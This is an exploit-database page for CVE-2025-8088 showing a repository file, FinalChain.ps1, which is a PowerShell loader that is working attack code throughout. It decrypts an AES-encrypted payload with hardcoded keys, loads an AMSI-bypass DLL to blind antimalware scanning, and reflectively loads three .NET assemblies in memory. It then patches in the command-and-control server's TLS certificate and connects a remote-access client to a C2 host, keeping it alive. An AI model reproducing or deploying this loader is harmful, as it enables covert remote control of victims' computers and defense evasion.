Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage03_FinalChain/FinalChain.ps1

PowerShell · 4,537 bytes
param(
    [string]$HostIP = "192.168.30.1",
    [UInt16]$Port = 4782,
    [string]$PayloadPath = "$env:PUBLIC\payload.bin",
    [string]$AmsiPath = "$env:PUBLIC\amsi_bypass.dll"
)

function Write-Status { param($Msg) Write-Host "[*] $Msg" }

# ============================================================
# [PHASE 1] AES 解密 payload.bin
# ============================================================
Write-Status "AES 解密 payload.bin ..."
$k = [byte[]]@(0xF,0x3B,0x7A,0x1D,0x9E,0x4C,0x6F,0x2A,0x8B,0x3D,0x5E,0x7C,0x1F,0x9A,0xB,0x2D)
$v = [byte[]]@(0x4A,0x1C,0x6E,0x2D,0x8F,0xB,0x3A,0x5C,0x7E,0x9D,0x2F,0x1B,0x4A,0x6C,0x8E,0xD)

$raw = [IO.File]::ReadAllBytes($PayloadPath)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $k; $aes.IV = $v
$dec = $aes.CreateDecryptor().TransformFinalBlock($raw, 0, $raw.Length)
Write-Status "解密完成 ($($dec.Length) bytes)"

# ============================================================
# [PHASE 2] 解析 bundle: [len:4][PE:len][len:4][PE:len][len:4][PE:len]
# ============================================================
Write-Status "解析 bundle ..."
$pos = 0; $pes = @()
while ($pos -lt $dec.Length) {
    $len = [BitConverter]::ToUInt32($dec, $pos); $pos += 4
    $buf = [byte[]]::new($len); [Array]::Copy($dec, $pos, $buf, 0, $len)
    $pes += ,$buf; $pos += $len
}
Write-Status "提取 $($pes.Count) 个 PE: $([string]::Join(', ', ($pes | ForEach-Object { "$($_.Length)B" })))"

# ============================================================
# [PHASE 3] AMSI 绕过
# ============================================================
Write-Status "加载 AMSI 绕过 DLL ..."
$amsiBytes = [IO.File]::ReadAllBytes($AmsiPath)
[Reflection.Assembly]::Load($amsiBytes) | Out-Null
[AmsiPatch]::Go()
Write-Status "AMSI 绕过 OK"

# ============================================================
# [PHASE 4] 注册依赖解析器 (AssemblyResolve)
# ============================================================
Write-Status "注册 AssemblyResolve ..."
$resolver = {
    param($s, $e)
    $n = $e.Name; if ($n.Contains(",")) { $n = $n.Split(",")[0].Trim() }
    $cache[$n]
}
[AppDomain]::CurrentDomain.add_AssemblyResolve($resolver)
# 预填充已加载程序集
$cache = @{}
foreach ($a in [AppDomain]::CurrentDomain.GetAssemblies()) {
    try { $cache[$a.GetName().Name] = $a } catch {}
}

# ============================================================
# [PHASE 5] Assembly.Load 三个 PE(顺序: ProtoBuf → Common → Client)
# ============================================================
Write-Status "加载 Protobuf ..."
$asProtobuf = [Reflection.Assembly]::Load($pes[2])
$cache[$asProtobuf.GetName().Name] = $asProtobuf

Write-Status "加载 Common ..."
$asCommon = [Reflection.Assembly]::Load($pes[1])
$cache[$asCommon.GetName().Name] = $asCommon

Write-Status "加载 Client ..."
$asClient = [Reflection.Assembly]::Load($pes[0])
$cache[$asClient.GetName().Name] = $asClient

# ============================================================
# [PHASE 6] 运行时证书修补
# ============================================================
Write-Status "获取 C2 服务器证书 ..."
$tcp = New-Object Net.Sockets.TcpClient
$tcp.Connect($HostIP, $Port)
$ssl = New-Object Net.Security.SslStream($tcp.GetStream(), $true, { $true })
$ssl.AuthenticateAsClient($HostIP)
$remoteCert = $ssl.RemoteCertificate
$tcp.Close()

$typeConfig = $asClient.GetType("A.DN")
$cb = $remoteCert.GetRawCertData()
$liveCert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @(, $cb)

$bf = [Reflection.BindingFlags]"NonPublic,Static"
$typeConfig.GetField("ACOM", $bf).SetValue($null, $liveCert)
Write-Status "证书替换 OK (hash: $($liveCert.GetCertHashString()))"

# ============================================================
# [PHASE 7] 创建 Client 实例 → 连接 C2
# ============================================================
$typeClient = $asClient.GetType("A.DP")
$inst = [Activator]::CreateInstance($typeClient)

$methodConnect = $typeClient.GetMethod("NTT")
$result = $methodConnect.Invoke($inst, @($HostIP, $Port))
Write-Status "NTT($HostIP, $Port) = $result"

$isConnected = $typeClient.GetProperty("ARIZ").GetValue($inst)
Write-Status "IsConnected = $isConnected"

if ($isConnected) {
    Write-Host "[+] C2 连接 ESTABLISHED" -ForegroundColor Green
    Write-Host "[+] 保持进程存活中... Ctrl+C 退出" -ForegroundColor Green
    while ($true) { Start-Sleep -Seconds 60 }
} else {
    Write-Host "[-] 连接失败" -ForegroundColor Red
}